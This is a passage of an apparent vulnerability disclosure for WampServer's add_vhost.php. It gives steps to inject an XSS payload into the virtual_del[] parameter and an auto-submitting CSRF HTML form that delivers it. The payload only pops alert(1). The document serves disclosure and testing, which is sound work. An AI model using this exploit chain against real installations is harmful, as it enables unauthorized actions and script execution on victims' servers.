2. Proof of Concept


How to exploit this XSS vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Go to Supress Virtual host and select one to delete and then intercept
the request using burp suite or any other proxy tool
3. Change the value of parameter *virtual_del[] *to "><img src=x
onerror=alert(1)> and forward it then you will see the XSS triggered.

How to see it:
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
<body onload="wamp_csrf.submit();">
<form action="[localhost]; name="wamp_csrf" method="POST">
<input type="hidden" name="virtual&#95;del&#91;&#93;"
value=""><img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;>"
/>
<input type="hidden" name="vhostdelete"
value="Suppress&#32;VirtualHost" />
</form>
</body>
</html>

Warning: action="[localhost] is action='
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
double quote("[image: winking smiley]
